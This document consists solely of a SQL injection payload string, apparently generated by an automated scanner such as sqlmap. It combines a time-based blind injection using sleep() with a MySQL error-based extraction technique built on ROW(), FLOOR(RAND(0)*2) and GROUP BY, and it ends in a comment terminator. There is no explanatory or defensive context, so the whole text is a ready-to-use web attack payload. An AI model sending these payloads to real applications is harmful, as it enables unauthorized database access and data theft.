(select(0)from(select(sleep(8.11)))v)/) WHERE 4498=4498 AND ROW(1386,4577)>(SELECT COUNT(*),CONCAT(0x71717a6b71,(SELECT (ELT(1386=1386,1))),0x717a7a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 6398 UNION SELECT 3265 UNION SELECT 9191 UNION SELECT 9848)a GROUP BY x)-- hJCn